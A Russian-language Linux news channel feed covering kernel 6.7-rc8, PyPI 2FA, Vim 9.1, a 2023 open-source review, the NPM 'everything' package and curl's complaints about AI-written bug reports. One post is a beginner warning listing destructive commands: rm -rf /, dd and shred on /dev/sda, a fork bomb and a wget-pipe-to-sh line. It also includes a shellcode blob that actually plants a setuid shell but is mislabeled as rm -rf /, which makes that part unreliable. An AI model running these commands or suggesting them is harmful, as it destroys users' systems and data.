Линус Торвальдс выпустил 31 декабря Linux 6.7-rc8 и поздравил мейнтейнеров проекта с новым годом

«Как и ожидалось, за праздничную неделю почти ничего не произошло. У нас изменилось буквально всего 45 файлов, и почти треть этих файлов даже не являются кодом ядра (то есть такие вещи, как самотестирование, скрипты, Kconfig и обновления файлов мейнтейнеров). А часть остального — это подготовительная работа и очистки для будущих (реальных) изменений.

Но у нас есть пара реальных исправлений, и я подозреваю, что на следующей неделе мы получим ещё несколько, когда разработчики вернутся из вызванного едой оцепенения.

Так что rc8 — это в основном просто плейсхолдер и "Я делаю rc каждую неделю, независимо от того, имеют они значение или нет"…

И эй, независимо от того, заинтересованы ли все вы в тестировании ещё одного rc или нет, я надеюсь, что у вас всех был хороший 2023 год, и желаю вам ещё лучшего 2024 года!»,

— написал Торвальдс мейнтейнерам проекта.

Linux / Линукс 🎄

Каталог PyPI перешёл на обязательную двухфакторную аутентификацию

Без включения двухфакторной аутентификации пользователь теперь не сможет загружать файлы и выполнять действия, связанные с управлением своим проектом.

Linux / Линукс 🎄

Linux / Линукс 🎄

После полутора лет разработки состоялся релиз текстового редактора Vim 9.1. Выпуск посвящён памяти Брама Моленара, автора и ключевого разработчика Vim, который более 30 лет занимался сопровождением проекта. Vim 9.1 стал первым выпуском, подготовленным под управлением коллективного совета. Брамом было разработано подавляющее число изменений в Vim - он внёс 16.5 тыс. коммитов и добавил 3.5 млн строк кода, что в 50 раз больше, чем вклад всех остальных разработчиков вместе взятых.

Основные улучшения:
▪️ В язык написания скриптов Vim9 добавлена поддержка классов и объектов, позволяющих использовать в скриптах методы объектно-ориентированного программирования.
▪️ Реализована возможность добавления в буфер виртуального текста, который может быть использован отображения подсказок, выдаваемых LSP-серверами.
▪️ Добавлена команда ":defer" для выполнения заданной функции после завершения текущей функции.
▪️ В состав включён плагин EditorConfig.
И другие изменения.

Linux / Линукс 🎄

Linux / Линукс 🎄

События 2023 года, связанные с открытыми проектами

▪️ Прекращение публикации исходных текстов пакетов дистрибутива Red Hat Enterprise Linux и оставление CentOS Stream в качестве единственного публичного источника кода пакетов RHEL. Образование ассоциации OpenELA, в которой Rocky Linux, Oracle и SUSE объединили усилия в поддержании пакетной базы, совместимой с RHEL.

▪️ Конфликты: Критика бизнес-модели Red Hat. Попытка продвижения API Web Integrity и удаление из Chromium в ответ на опасения зарождения подобия DRM для Web. Бьёрн Страуструп против навязывания безопасных языков программирования. Отклонение патчей от Байкал Электроникс. Индейцы против Apache. Упразднение и возвращение Docker Hub Free Team.

▪️ Canonical преобразовала LXD в свой корпоративный проект. В ответ сообщество Linux Containers при участии основателей LXD создало независимый форк - Incus. После этого компания Canonical перевела проект с лицензии Apache 2.0 на лицензию AGPLv3.

▪️ Форки: LibrePGP - форк стандарта OpenPGP от автора GnuPG. Crab - форк языка Rust. OpenTofu и OpenBao - форки Terraform и Vault, созданные после перехода HashiCorp на проприетарную лицензию.

▪️ Поглощения и реструктуризации: SUSE преобразуют из публичной в частную компанию. Mozilla купила компанию Fakespot. Проект Nextcloud поглотил почтовый клиент Roundcube.

▪️ Судебные разбирательства: Quad9 выиграл разбирательство c Sony о принуждении к блокировке через DNS. Завершено разбирательство между Stockfish и ChessBase о нарушении GPL.

▪️ Авторские права: Изменение политики товарных знаков, связанных с Rust. Блокировка сайта проекта Youtube-dl. Переговоры об отчислениях правообладателям за контент, сгенерированный AI-системами. Удаление Firefox-дополнения для обхода Paywall из-за жалобы о нарушении DMCA. Удаление эмулятора Dolphin из Steam и блокировка проекта Lockpick на GitHub по требованию Nintendo.

▪️ Лицензии: Переход продуктов HashiCorp на проприетарную лицензию. Компилятор Cheerp переведён на лицензии Apache 2.0 и LLVM. Wikipedia переходит на лицензию CC BY-SA 4.0. Концепция Post-Open Source.

▪️ Законы: Ответственность за ошибки в открытом коде. Влияние на СПО законопроекта Cyber Resilience Act. Законопроекты, которые могут помешать участию граждан РФ в крупных СПО-проектах.

▪️ Платформы разработки и каталоги приложений: Эволюционирование Flathub независимый каталог-магазин приложений. Переход хостинга Sourceware под крыло организации SFC. Внедрение в PyPI и GitHub обязательной двухфакторной аутентификации. Поддержка OpenID Connect в PyPI и прекращение поддержки PGP-подписей. Прекращение поддержки Subversion в GitHub. Изменение контрольных сумм архивов в GitHub.

Linux / Линукс 🎄

Ядро Maestro, написанное на Rust и частично совместимое с Linux

Представлен проект по разработке легковесного Unix-подобного ядра, реализующего подмножество системных вызовов ядра Linux, достаточное для создания типовых рабочих окружений. Проект создан в 2018 году и использовал язык Си, но в 2020 году был полностью перезапущен с нуля и перешёл на Rust. Код ядра распространяется под лицензией MIT.

✅ Помимо ядра проектом на языке Rust также развиваются X11-сервер, пакетный менеджер, загрузчик, инсталлятор, наборы утилит и другие компоненты, необходимые для построения операционной системы.

Ядро имеет монолитную архитектуру и пока поддерживает только системы x86 в 32-разрядном режиме. Кодовая база ядра насчитывает 48.8 тысяч строк кода (для сравнения в ядре Linux - 33 млн. строк кода). Возможен запуск в QEMU, VirtualBox или поверх оборудования. На текущем этапе развития в Maestro реализован 31 % (135 из 437) системных вызовов Linux, чего достаточно для загрузки консольного окружения на базе bash и стандартной Си-библиотеки Musl. В окружении на базе Maestro также могут выполняться некоторые утилиты из набора GNU coreutils, такие как ls, cat, mkdir, rm, rmdir, uname и whoami.

Linux / Линукс 🎄

Комедия в трёх актах

Linux / Линукс 🎄

Статистика по Linux за 2023

▪️ Доля Linux на декстопе превысила 3%. — StatCounter

Мир: 3.21%, Европа чуть подкачала, 2.64%, хотя, казалось бы? Лидирует Индия, 15.6% и в целом азиатский регион, 5.34%.

▪️ Доля Linux среди пользователей Steam в моменте (август) превышала 2%, и это было больше, чем пользователей macOS. — Valve

▪️ Исходный код RHEL теперь доступен только на платной основе. — cnews

▪️ LTS версии ядра Linux теперь будут поддерживаться в течение 2 лет, а не 6, как было ранее. Самым старым поддерживаемым ядром становится 5.10.

▪️ Доля женщин среди разработчиков ядра: 9,9%, если считать по аккаунтам на Гитхабе. — The Linux Foundation. Это примерно 330 человек, вместе они сделали около 4000 коммитов, что составляет 6,8% от общего числа коммитов.

▪️ Релизы популярных дистрибутивов — по данным разных источников: Linux Mint 21.3 beta, Kali Linux 2023.4, RHEL 9.3 и Fedora 39, Ubuntu и Kubuntu, обе 23.10, Debian 12, LMDE 6, openSUSE Leap 15.5, MX Linux 23, а также апдейт номер 3 Oracle Linux версии 9.

▪️ В 2023 году вышел текущий актуальный минорный релиз — версия 6.6. — Линус Торвальдс

Кстати, в этой версии из ядра удалены упоминания АНБ США, которые, оказывается там были. SElinux изначально был привнесён в ядро именно программистами данной правительственной организации.

▪️ Дистрибутив Astra сертифицирован на соответствие требованиям ФСТЭК России к средствам виртуализации по первому классу защиты. — cnews. Компания также сообщала, что выручка за девять месяцев 2023 г. достигла 4,6 млрд руб.

▪️ В моменте над ядром Linux работало 2088 разработчиков. Это касается версии 6.2, увидевшей свет 19 февраля 2023 года, и это рекордно-большое число разработчиков, работавших над одним релизом.

▪️ Топ-10 популярных дистрибутивов на 31 декабря 2023 года (Со срезом "1 месяц") — distrowatch.com:

1. MX Linux
2. Mint
3. EndeavourOS
4. Manjaro
5. Zorin
6. Debian
7. Ubuntu
8. Nobara
9. Fedora
10. Pop!_OS

📌 Источник: https://habr.com/ru/articles/784222/

Linux / Линукс 🎄

Linux / Линукс 🎄

Эксперимент с созданием NPM-пакета, зависимого от всех пакетов в репозитории

Данный эксперимент провёл один из разработчиков JavaScript-пакетов. Так, пакет "everything" связан прямыми зависимостями с пятью пакетами "@everything-registry/chunk-N", которые в свою очередь привязываются зависимостями к более 3000 пакетов "sub-chunk-N", в каждом из которых осуществляется привязка к 800 существующих пакетов в репозитории.

Размещение "everything" в NPM привело к двум интересным эффектам.
▪️ Во-первых, пакет "everything" стал своеобразным инструментом для совершения DoS-атак, так как попытка его установки приводит к загрузке миллионов размещённых в NPM пакетов и исчерпанию имеющегося дискового пространства или остановке выполнения сборочных процессов. По статистике NPM пакет был загружен около 250 раз, но никто не мешает добавить его в зависимости к другому пакету после взлома учётной записи разработчика для совершения диверсии.

▪️ Во-вторых, публикация пакета "everything" фактически заблокировала возможность удаления любых пакетов в NPM, которые оказались в списке его зависимостей. Пакет из NPM может быть удалён автором только если он ещё не используется в зависимостях других пакетов, но после публикации "everything" зависимостями оказались охвачены все пакеты в репозитории.
✅ Примечательно, что удаление самого пакета "everything" также оказалось заблокированным, так как 9 лет назад в репозитории был размещён тестовый пакет "everything-else", в котором была указана строка "everything" в списке зависимостей.

Linux / Линукс 🎄

10 команд Linux, которые убьют ваш сервер (для новичков)

Необратимые
▪️ rm –rf / - Удаляет всё, до чего только может добраться. Существует несколько вариаций для маскировки этой команды:

mkdir test

cd test

touch ./-r

touch ./-f

su

rm * /

char esp[] attribute ((section(“.text”))) /* e.s.p
release */
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68”
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99”
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7”
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56”
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31”
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69”
“x6ex2fx73x68x00x2dx63x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

(16-ричное представление команды rm –rf /, его система тоже поймёт)

▪️ sudo dd if=/dev/zero of=/dev/sda bs=8m - Заполняет начальные 40Мбайт (8m) жесткого диска, которые содержат важные данные структуры нулями, что делает невозможным их восстановление и приводит к невозможности загрузки ОС.

▪️ shred /dev/sda - Удалит все данные на жёстком диске.
▪️ mkfs.ext3 /dev/sda - Форматирование жесткого диска.
▪️ chmod -Rv 000 / - Отнимает все разрешения на все файлы и все папки в системе. После ввода этой команды систему нельзя будет даже перезагрузить. А если перезагрузить её вручную, то она всё равно уже не сможет запуститься нормально, так как запрашиваемые при загрузке компоненты будут недоступны.
▪️ chown -R nobody:nobody / - Меняет владельца всех файлов и папок системы на “никого”.

Опасные, но обратимые команды
▪️ :(){ :|:& };: - Логическая бомба, забивающая память системы, что в итоге приводит к её зависанию. Ни к чему фатальному это не приведет, но перезагрузиться всё же придётся.
▪️ команда > file.conf - Команда, которая может перезаписать важный конфигурационный файл.
▪️ wget https://вредоносный_сайт -O- | sh - Скачивание и последующие исполнение какого-либо скрипта c сайта в Интернете.
▪️ chmod -R 777 / - Даёт разрешение всем пользователям системы читать, перезаписывать и запускать всё что угодно.

Linux / Линукс 🎄

Linux / Линукс 🎄

Дэниел Cтенберг, автор утилиты для получения и отправки данных по сети curl, выступил с критикой использования AI-инструментов при создании отчётов об уязвимостях. Подобные отчёты включают детальные сведения, написаны нормальным языком и выглядят качественными, но без вдумчивого анализа на деле могут лишь вводить в заблуждение, подменяя реальные проблемы качественно выглядящим мусорным содержимым.

Проект Curl выплачивает вознаграждения за выявление новых уязвимостей и уже получил 415 отчётов о потенциальных проблемах, из которых лишь 64 были подтверждены как уязвимости, 77 описывали не связанные с безопасностью ошибки, а 274 (66 %) не содержали каких-либо полезных сведений и только отняли у разработчиков время.

✅ Разработчики вынуждены впустую тратить много времени на разбор бесполезных отчётов и перепроверять указанные там сведения по несколько раз, так как внешнее качество оформления вызывает дополнительное доверие к информации и возникает ощущение, что разработчик что-то недопонял. С другой стороны, формирование подобного отчёта требует минимальных усилий от заявителя, который не утруждает себя проверкой наличия реальной проблемы, а просто слепо копирует данные полученные от AI-помощников, надеясь на везение в борьбе за получение вознаграждения.

Linux / Линукс 🎄

Компрометация учётной записи привела к сбою BGP-маршрутизации Orange Espagne

Компрометация учётной записи администратора привела к почти четырёхчасовому сбою в работе второго по величине испанского оператора связи Orange Espagne, обслуживающего 11 млн абонентов. Для доступа к интерфейсу регистратора RIPE NCC в Orange Espagne применялся предсказуемый пароль "ripeadmin" и не была включена двухфакторная аутентификация.

Пароль к RIPE был перехвачен в ходе поражения системы одного из сотрудников вредоносным ПО и с сентября находился в продаваемых на чёрном рынке базах скомпрометированных паролей. Примечательно, что кроме учётной записи Orange Espagne в указанных базах присутствуют и тысячи других аккаунтов для подключения к access. ripe. net, которые потенциально можно использовать для совершения подобных атак.

Linux / Линукс 🎄